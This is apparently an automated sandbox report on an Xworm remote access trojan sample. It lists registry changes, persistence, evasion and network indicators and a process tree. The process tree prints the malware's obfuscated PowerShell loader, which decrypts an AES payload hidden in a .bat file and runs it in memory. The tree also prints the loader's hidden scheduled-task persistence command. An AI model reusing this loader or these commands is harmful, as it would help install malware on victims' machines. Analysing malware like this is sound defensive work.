xworm | b1e02899752b3e45311d824e70bed91652fcfae6ad24e42a8cd91741def5af92

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	wscript.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	wscript.exe

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Blocklisted process makes network request 4 IoCs

flow	pid	Process
18	3032	powershell.exe
42	3032	powershell.exe
193	3032	powershell.exe
194	3032	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
1756	powershell.exe
1384	powershell.exe
1788	powershell.exe
4128	powershell.exe
4388	powershell.exe
4224	powershell.exe
3032	powershell.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 5 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000\Control Panel\International\Geo\Nation	wscript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000\Control Panel\International\Geo\Nation	dxipfm.exe
Key value queried	\REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000\Control Panel\International\Geo\Nation	wscript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000\Control Panel\International\Geo\Nation	phduje.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\System User.lnk	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\System User.lnk	powershell.exe

Executes dropped EXE 25 IoCs

pid	Process
3380	dxipfm.exe
3416	eulascr.exe
1744	System User
1688	phduje.exe
1712	eulascr.exe
3480	System User
2372	System User
1292	ArcticBomb.exe
3272	ArcticBomb.exe
1628	ArcticBomb.exe
2468	ArcticBomb.exe
4044	ArcticBomb.exe
3260	ArcticBomb.exe
4492	System User
2448	ArcticBomb.exe
1916	ArcticBomb.exe
2880	ArcticBomb.exe
4112	ArcticBomb.exe
3704	ArcticBomb.exe
340	ArcticBomb.exe
3580	ArcticBomb.exe
3572	System User
5016	System User
2544	System User
3056	System User

Loads dropped DLL 3 IoCs

pid	Process
3416	eulascr.exe
1712	eulascr.exe
3032	powershell.exe

Obfuscated with Agile.Net obfuscator 2 IoCs

Detects use of the Agile.Net commercial obfuscator, which is capable of entity renaming and control flow obfuscation.

agilenet

resource	yara_rule
behavioral2/files/0x00080000000234e8-113.dat	agile_net
behavioral2/memory/3416-115-0x00000000001A0000-0x00000000001CA000-memory.dmp	agile_net

UPX packed file 6 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x0009000000023597-792.dat	upx
behavioral2/memory/1292-934-0x0000000000400000-0x0000000000454000-memory.dmp	upx
behavioral2/memory/1292-936-0x0000000000400000-0x0000000000454000-memory.dmp	upx
behavioral2/memory/3272-939-0x0000000000400000-0x0000000000454000-memory.dmp	upx
behavioral2/memory/1628-941-0x0000000000400000-0x0000000000454000-memory.dmp	upx
behavioral2/memory/2468-944-0x0000000000400000-0x0000000000454000-memory.dmp	upx

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\System User = "C:\\Users\\Admin\\AppData\\Roaming\\System User"	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 7 IoCs

Web Service

T1102

flow	ioc
46	drive.google.com
48	drive.google.com
58	drive.google.com
185	raw.githubusercontent.com
186	raw.githubusercontent.com
375	raw.githubusercontent.com
376	raw.githubusercontent.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
17	ip-api.com

Drops file in System32 directory 4 IoCs

description	ioc	Process
File created	\??\c:\windows\system32\driverstore\filerepository\display.inf_amd64_71aa85b0e2292a7a\display.PNF	chrome.exe
File created	C:\Windows\System32\DriverStore\FileRepository\display.inf_amd64_71aa85b0e2292a7a\display.PNF	chrome.exe
File created	\??\c:\windows\system32\driverstore\filerepository\display.inf_amd64_71aa85b0e2292a7a\display.PNF	chrome.exe
File created	C:\Windows\System32\DriverStore\FileRepository\display.inf_amd64_71aa85b0e2292a7a\display.PNF	chrome.exe

Drops file in Program Files directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Crashpad\metadata	setup.exe
File opened for modification	C:\Program Files\Crashpad\settings.dat	setup.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ArcticBomb.exe

Checks processor information in registry 2 TTPs 12 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133698976374178104"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe

Modifies registry class 10 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000_Classes\Local Settings	OpenWith.exe
Key created	\REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000_Classes\Local Settings	firefox.exe
Key created	\REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000_Classes\Local Settings	OpenWith.exe
Key created	\REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000_Classes\Local Settings	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000_Classes\Local Settings	OpenWith.exe
Key created	\REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000_Classes\Local Settings	OpenWith.exe
Key created	\REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000_Classes\Local Settings	OpenWith.exe
Key created	\REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000_Classes\Local Settings	OpenWith.exe
Key created	\REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000_Classes\Local Settings	OpenWith.exe
Key created	\REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000_Classes\Local Settings	chrome.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
3348	schtasks.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
4988	vlc.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4388	powershell.exe
4388	powershell.exe
4224	powershell.exe
4224	powershell.exe
3032	powershell.exe
3032	powershell.exe
4128	powershell.exe
4128	powershell.exe
1756	powershell.exe
1756	powershell.exe
1384	powershell.exe
1384	powershell.exe
1384	powershell.exe
1788	powershell.exe
1788	powershell.exe
1788	powershell.exe
3032	powershell.exe
1744	System User
1744	System User
3032	powershell.exe
3032	powershell.exe
3032	powershell.exe
3032	powershell.exe
3032	powershell.exe
3032	powershell.exe
3032	powershell.exe
3032	powershell.exe
3032	powershell.exe
3032	powershell.exe
3032	powershell.exe
3032	powershell.exe
3032	powershell.exe
3032	powershell.exe
3032	powershell.exe
3032	powershell.exe
3480	System User
3480	System User
2732	chrome.exe
2732	chrome.exe
3032	powershell.exe
3032	powershell.exe
3032	powershell.exe
3032	powershell.exe
3032	powershell.exe
3032	powershell.exe
3032	powershell.exe
3032	powershell.exe
3032	powershell.exe
3032	powershell.exe
3032	powershell.exe
3032	powershell.exe
3032	powershell.exe
3032	powershell.exe
3032	powershell.exe
3032	powershell.exe
3032	powershell.exe
3032	powershell.exe
3032	powershell.exe
3032	powershell.exe
3032	powershell.exe
3032	powershell.exe
3032	powershell.exe
3032	powershell.exe
3032	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 6 IoCs

pid	Process
3032	powershell.exe
3624	OpenWith.exe
5220	OpenWith.exe
3764	OpenWith.exe
3388	OpenWith.exe
4988	vlc.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 17 IoCs

pid	Process
2732	chrome.exe
2732	chrome.exe
2732	chrome.exe
2732	chrome.exe
2732	chrome.exe
2732	chrome.exe
3916	chrome.exe
3916	chrome.exe
3916	chrome.exe
3916	chrome.exe
3916	chrome.exe
3916	chrome.exe
3916	chrome.exe
3916	chrome.exe
3916	chrome.exe
3916	chrome.exe
3916	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4388	powershell.exe
Token: SeDebugPrivilege	4224	powershell.exe
Token: SeIncreaseQuotaPrivilege	4224	powershell.exe
Token: SeSecurityPrivilege	4224	powershell.exe
Token: SeTakeOwnershipPrivilege	4224	powershell.exe
Token: SeLoadDriverPrivilege	4224	powershell.exe
Token: SeSystemProfilePrivilege	4224	powershell.exe
Token: SeSystemtimePrivilege	4224	powershell.exe
Token: SeProfSingleProcessPrivilege	4224	powershell.exe
Token: SeIncBasePriorityPrivilege	4224	powershell.exe
Token: SeCreatePagefilePrivilege	4224	powershell.exe
Token: SeBackupPrivilege	4224	powershell.exe
Token: SeRestorePrivilege	4224	powershell.exe
Token: SeShutdownPrivilege	4224	powershell.exe
Token: SeDebugPrivilege	4224	powershell.exe
Token: SeSystemEnvironmentPrivilege	4224	powershell.exe
Token: SeRemoteShutdownPrivilege	4224	powershell.exe
Token: SeUndockPrivilege	4224	powershell.exe
Token: SeManageVolumePrivilege	4224	powershell.exe
Token: 33	4224	powershell.exe
Token: 34	4224	powershell.exe
Token: 35	4224	powershell.exe
Token: 36	4224	powershell.exe
Token: SeIncreaseQuotaPrivilege	4224	powershell.exe
Token: SeSecurityPrivilege	4224	powershell.exe
Token: SeTakeOwnershipPrivilege	4224	powershell.exe
Token: SeLoadDriverPrivilege	4224	powershell.exe
Token: SeSystemProfilePrivilege	4224	powershell.exe
Token: SeSystemtimePrivilege	4224	powershell.exe
Token: SeProfSingleProcessPrivilege	4224	powershell.exe
Token: SeIncBasePriorityPrivilege	4224	powershell.exe
Token: SeCreatePagefilePrivilege	4224	powershell.exe
Token: SeBackupPrivilege	4224	powershell.exe
Token: SeRestorePrivilege	4224	powershell.exe
Token: SeShutdownPrivilege	4224	powershell.exe
Token: SeDebugPrivilege	4224	powershell.exe
Token: SeSystemEnvironmentPrivilege	4224	powershell.exe
Token: SeRemoteShutdownPrivilege	4224	powershell.exe
Token: SeUndockPrivilege	4224	powershell.exe
Token: SeManageVolumePrivilege	4224	powershell.exe
Token: 33	4224	powershell.exe
Token: 34	4224	powershell.exe
Token: 35	4224	powershell.exe
Token: 36	4224	powershell.exe
Token: SeIncreaseQuotaPrivilege	4224	powershell.exe
Token: SeSecurityPrivilege	4224	powershell.exe
Token: SeTakeOwnershipPrivilege	4224	powershell.exe
Token: SeLoadDriverPrivilege	4224	powershell.exe
Token: SeSystemProfilePrivilege	4224	powershell.exe
Token: SeSystemtimePrivilege	4224	powershell.exe
Token: SeProfSingleProcessPrivilege	4224	powershell.exe
Token: SeIncBasePriorityPrivilege	4224	powershell.exe
Token: SeCreatePagefilePrivilege	4224	powershell.exe
Token: SeBackupPrivilege	4224	powershell.exe
Token: SeRestorePrivilege	4224	powershell.exe
Token: SeShutdownPrivilege	4224	powershell.exe
Token: SeDebugPrivilege	4224	powershell.exe
Token: SeSystemEnvironmentPrivilege	4224	powershell.exe
Token: SeRemoteShutdownPrivilege	4224	powershell.exe
Token: SeUndockPrivilege	4224	powershell.exe
Token: SeManageVolumePrivilege	4224	powershell.exe
Token: 33	4224	powershell.exe
Token: 34	4224	powershell.exe
Token: 35	4224	powershell.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
2732	chrome.exe
2732	chrome.exe
2732	chrome.exe
2732	chrome.exe
2732	chrome.exe
2732	chrome.exe
2732	chrome.exe
2732	chrome.exe
2732	chrome.exe
2732	chrome.exe
2732	chrome.exe
2732	chrome.exe
2732	chrome.exe
2732	chrome.exe
2732	chrome.exe
2732	chrome.exe
2732	chrome.exe
2732	chrome.exe
2732	chrome.exe
2732	chrome.exe
2732	chrome.exe
2732	chrome.exe
2732	chrome.exe
2732	chrome.exe
2732	chrome.exe
2732	chrome.exe
2732	chrome.exe
2732	chrome.exe
2732	chrome.exe
2732	chrome.exe
2732	chrome.exe
2732	chrome.exe
2732	chrome.exe
2732	chrome.exe
2732	chrome.exe
3916	chrome.exe
3916	chrome.exe
3916	chrome.exe
3916	chrome.exe
3916	chrome.exe
3916	chrome.exe
3916	chrome.exe
3916	chrome.exe
3916	chrome.exe
3916	chrome.exe
3916	chrome.exe
3916	chrome.exe
3916	chrome.exe
3916	chrome.exe
3916	chrome.exe
3916	chrome.exe
3916	chrome.exe
3916	chrome.exe
3916	chrome.exe
3916	chrome.exe
3916	chrome.exe
3916	chrome.exe
3916	chrome.exe
3916	chrome.exe
3916	chrome.exe
3916	chrome.exe
3916	chrome.exe
3916	chrome.exe
3916	chrome.exe

Suspicious use of SendNotifyMessage 64 IoCs

pid	Process
2732	chrome.exe
2732	chrome.exe
2732	chrome.exe
2732	chrome.exe
2732	chrome.exe
2732	chrome.exe
2732	chrome.exe
2732	chrome.exe
2732	chrome.exe
2732	chrome.exe
2732	chrome.exe
2732	chrome.exe
2732	chrome.exe
2732	chrome.exe
2732	chrome.exe
2732	chrome.exe
2732	chrome.exe
2732	chrome.exe
2732	chrome.exe
2732	chrome.exe
2732	chrome.exe
2732	chrome.exe
2732	chrome.exe
2732	chrome.exe
3916	chrome.exe
3916	chrome.exe
3916	chrome.exe
3916	chrome.exe
3916	chrome.exe
3916	chrome.exe
3916	chrome.exe
3916	chrome.exe
3916	chrome.exe
3916	chrome.exe
3916	chrome.exe
3916	chrome.exe
3916	chrome.exe
3916	chrome.exe
3916	chrome.exe
3916	chrome.exe
3916	chrome.exe
3916	chrome.exe
3916	chrome.exe
3916	chrome.exe
3916	chrome.exe
3916	chrome.exe
3916	chrome.exe
3916	chrome.exe
3860	firefox.exe
3860	firefox.exe
3860	firefox.exe
3860	firefox.exe
3860	firefox.exe
3860	firefox.exe
3860	firefox.exe
3860	firefox.exe
3860	firefox.exe
3860	firefox.exe
3860	firefox.exe
3860	firefox.exe
3860	firefox.exe
3860	firefox.exe
3860	firefox.exe
3860	firefox.exe

Suspicious use of SetWindowsHookEx 64 IoCs

pid	Process
3032	powershell.exe
3624	OpenWith.exe
3624	OpenWith.exe
3624	OpenWith.exe
3624	OpenWith.exe
3624	OpenWith.exe
3624	OpenWith.exe
3624	OpenWith.exe
3624	OpenWith.exe
3624	OpenWith.exe
3624	OpenWith.exe
3624	OpenWith.exe
3624	OpenWith.exe
3624	OpenWith.exe
3624	OpenWith.exe
3624	OpenWith.exe
3624	OpenWith.exe
3624	OpenWith.exe
3624	OpenWith.exe
3624	OpenWith.exe
3860	firefox.exe
3860	firefox.exe
3860	firefox.exe
3860	firefox.exe
388	OpenWith.exe
5220	OpenWith.exe
5220	OpenWith.exe
5220	OpenWith.exe
5220	OpenWith.exe
5220	OpenWith.exe
5220	OpenWith.exe
5220	OpenWith.exe
5220	OpenWith.exe
5220	OpenWith.exe
5220	OpenWith.exe
5220	OpenWith.exe
5220	OpenWith.exe
5220	OpenWith.exe
5220	OpenWith.exe
5220	OpenWith.exe
5220	OpenWith.exe
5220	OpenWith.exe
5220	OpenWith.exe
5220	OpenWith.exe
5220	OpenWith.exe
5220	OpenWith.exe
5220	OpenWith.exe
3764	OpenWith.exe
3764	OpenWith.exe
3764	OpenWith.exe
3764	OpenWith.exe
3764	OpenWith.exe
3764	OpenWith.exe
3764	OpenWith.exe
3764	OpenWith.exe
3764	OpenWith.exe
3764	OpenWith.exe
3764	OpenWith.exe
3764	OpenWith.exe
3764	OpenWith.exe
3764	OpenWith.exe
3764	OpenWith.exe
3764	OpenWith.exe
3764	OpenWith.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4860 wrote to memory of 4752	4860	cmd.exe	84
PID 4860 wrote to memory of 4752	4860	cmd.exe	84
PID 4752 wrote to memory of 2432	4752	net.exe	85
PID 4752 wrote to memory of 2432	4752	net.exe	85
PID 4860 wrote to memory of 4388	4860	cmd.exe	89
PID 4860 wrote to memory of 4388	4860	cmd.exe	89
PID 4388 wrote to memory of 4224	4388	powershell.exe	92
PID 4388 wrote to memory of 4224	4388	powershell.exe	92
PID 4388 wrote to memory of 4940	4388	powershell.exe	97
PID 4388 wrote to memory of 4940	4388	powershell.exe	97
PID 4940 wrote to memory of 516	4940	WScript.exe	98
PID 4940 wrote to memory of 516	4940	WScript.exe	98
PID 516 wrote to memory of 4292	516	cmd.exe	100
PID 516 wrote to memory of 4292	516	cmd.exe	100
PID 4292 wrote to memory of 5112	4292	net.exe	101
PID 4292 wrote to memory of 5112	4292	net.exe	101
PID 516 wrote to memory of 3032	516	cmd.exe	102
PID 516 wrote to memory of 3032	516	cmd.exe	102
PID 3032 wrote to memory of 4128	3032	powershell.exe	104
PID 3032 wrote to memory of 4128	3032	powershell.exe	104
PID 3032 wrote to memory of 1756	3032	powershell.exe	106
PID 3032 wrote to memory of 1756	3032	powershell.exe	106
PID 3032 wrote to memory of 1384	3032	powershell.exe	110
PID 3032 wrote to memory of 1384	3032	powershell.exe	110
PID 3032 wrote to memory of 1788	3032	powershell.exe	112
PID 3032 wrote to memory of 1788	3032	powershell.exe	112
PID 3032 wrote to memory of 3348	3032	powershell.exe	114
PID 3032 wrote to memory of 3348	3032	powershell.exe	114
PID 3032 wrote to memory of 3380	3032	powershell.exe	118
PID 3032 wrote to memory of 3380	3032	powershell.exe	118
PID 3380 wrote to memory of 2284	3380	dxipfm.exe	119
PID 3380 wrote to memory of 2284	3380	dxipfm.exe	119
PID 2284 wrote to memory of 3416	2284	wscript.exe	120
PID 2284 wrote to memory of 3416	2284	wscript.exe	120
PID 3032 wrote to memory of 1688	3032	powershell.exe	125
PID 3032 wrote to memory of 1688	3032	powershell.exe	125
PID 1688 wrote to memory of 4980	1688	phduje.exe	126
PID 1688 wrote to memory of 4980	1688	phduje.exe	126
PID 4980 wrote to memory of 1712	4980	wscript.exe	127
PID 4980 wrote to memory of 1712	4980	wscript.exe	127
PID 2732 wrote to memory of 3632	2732	chrome.exe	132
PID 2732 wrote to memory of 3632	2732	chrome.exe	132
PID 2732 wrote to memory of 4844	2732	chrome.exe	133
PID 2732 wrote to memory of 4844	2732	chrome.exe	133
PID 2732 wrote to memory of 4844	2732	chrome.exe	133
PID 2732 wrote to memory of 4844	2732	chrome.exe	133
PID 2732 wrote to memory of 4844	2732	chrome.exe	133
PID 2732 wrote to memory of 4844	2732	chrome.exe	133
PID 2732 wrote to memory of 4844	2732	chrome.exe	133
PID 2732 wrote to memory of 4844	2732	chrome.exe	133
PID 2732 wrote to memory of 4844	2732	chrome.exe	133
PID 2732 wrote to memory of 4844	2732	chrome.exe	133
PID 2732 wrote to memory of 4844	2732	chrome.exe	133
PID 2732 wrote to memory of 4844	2732	chrome.exe	133
PID 2732 wrote to memory of 4844	2732	chrome.exe	133
PID 2732 wrote to memory of 4844	2732	chrome.exe	133
PID 2732 wrote to memory of 4844	2732	chrome.exe	133
PID 2732 wrote to memory of 4844	2732	chrome.exe	133
PID 2732 wrote to memory of 4844	2732	chrome.exe	133
PID 2732 wrote to memory of 4844	2732	chrome.exe	133
PID 2732 wrote to memory of 4844	2732	chrome.exe	133
PID 2732 wrote to memory of 4844	2732	chrome.exe	133
PID 2732 wrote to memory of 4844	2732	chrome.exe	133
PID 2732 wrote to memory of 4844	2732	chrome.exe	133

System policy modification 1 TTPs 4 IoCs

evasion

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System	wscript.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	wscript.exe
Key created	\REGISTRY\MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System	wscript.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	wscript.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Devs Camera Mod.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4860
- C:\Windows\system32\net.exe
  net file
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4752
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 file
    3⤵
    PID:2432
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7q3pYSfGwp6K6dlCFvkWbgtv/dBsW50RyMh5vQnsYG4='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('fsqAJFV1AROJcZz5keHA4A=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $NQmky=New-Object System.IO.MemoryStream(,$param_var); $KMpfA=New-Object System.IO.MemoryStream; $BQpzm=New-Object System.IO.Compression.GZipStream($NQmky, [IO.Compression.CompressionMode]::Decompress); $BQpzm.CopyTo($KMpfA); $BQpzm.Dispose(); $NQmky.Dispose(); $KMpfA.Dispose(); $KMpfA.ToArray();}function execute_function($param_var,$param2_var){ $nOAIs=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $eOdYi=$nOAIs.EntryPoint; $eOdYi.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Devs Camera Mod.bat';$qnoql=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Devs Camera Mod.bat').Split([Environment]::NewLine);foreach ($hbFVI in $qnoql) { if ($hbFVI.StartsWith(':: ')) { $icdoU=$hbFVI.Substring(3); break; }}$payloads_var=[string[]]$icdoU.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4388
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_569_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_569.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4224
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_569.vbs"
    3⤵
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:4940
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_569.bat" "
      4⤵
      Suspicious use of WriteProcessMemory
      PID:516
    - - C:\Windows\system32\net.exe
        
        net file
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4292
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 file
        6⤵
        
        PID:5112
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7q3pYSfGwp6K6dlCFvkWbgtv/dBsW50RyMh5vQnsYG4='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('fsqAJFV1AROJcZz5keHA4A=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $NQmky=New-Object System.IO.MemoryStream(,$param_var); $KMpfA=New-Object System.IO.MemoryStream; $BQpzm=New-Object System.IO.Compression.GZipStream($NQmky, [IO.Compression.CompressionMode]::Decompress); $BQpzm.CopyTo($KMpfA); $BQpzm.Dispose(); $NQmky.Dispose(); $KMpfA.Dispose(); $KMpfA.ToArray();}function execute_function($param_var,$param2_var){ $nOAIs=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $eOdYi=$nOAIs.EntryPoint; $eOdYi.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_569.bat';$qnoql=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_569.bat').Split([Environment]::NewLine);foreach ($hbFVI in $qnoql) { if ($hbFVI.StartsWith(':: ')) { $icdoU=$hbFVI.Substring(3); break; }}$payloads_var=[string[]]$icdoU.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join 